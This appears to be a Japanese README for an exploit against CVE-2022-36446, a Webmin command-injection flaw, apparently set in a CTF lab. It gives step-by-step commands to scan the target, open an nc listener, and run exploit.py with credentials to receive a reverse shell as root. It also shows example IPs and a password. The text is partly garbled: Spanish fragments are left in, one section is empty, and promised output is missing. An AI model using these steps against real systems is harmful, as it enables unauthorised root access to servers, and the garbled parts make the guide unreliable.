CVE-2022-36446 — Webmin < 1.997 RCE (認証済み)

Webmin バージョン 1.997 未満における Remote Code Execution の脆弱性のための Exploit。Software Package Updates モジュールを介して。

動作の仕組み

Webmin の Software Package Updates モジュールは、パラメータ u をシステムに渡す前に適切にサニタイズしません。そのモジュールにアクセスできる認証済みユーザーは、root として実行される任意のコマンドを注入できます。

前提条件

Exploit を実行する前に依存関係をインストールしてください:

pip3 install requests beautifulsoup4 lxml urllib3

パラメータ

ステップバイステップ

1 — Nmap でターゲットのIPを特定します:

nmap -sV TARGET_IP
# Busca el puerto 10000 con Webmin

2 — あなたのマシンでリスナーを開きます:

nc -lvnp 4444

3 — 別のターミナルでexploitを実行します:

python3 exploit.py \
  -t https://TARGET_IP \
  -u admin \
  -p PASSWORD \
  -l TU_IP \
  -lp 4444

4 — Exploitが成功すると、次のように表示されます:

5 — リスナーで root としてシェルを受け取ります:

# whoami
root
# cat /root/Desktop/FLAG.txt
FLAG{...}

完全な例

# Terminal 1
nc -lvnp 4444

# Terminal 2
python3 exploit.py -t https://192.168.253.156 -u admin -p 'W3bm1n2024' -l 192.168.253.130 -lp 4444

参考

• CVE: CVE-2022-36446
• CVSS Score: 9.9 (Critical)
• 脆弱なバージョン: Webmin < 1.997
• オリジナルエクスプロイト: https://www.exploit-db.com/exploits/50998
• 原作者: Emir Polat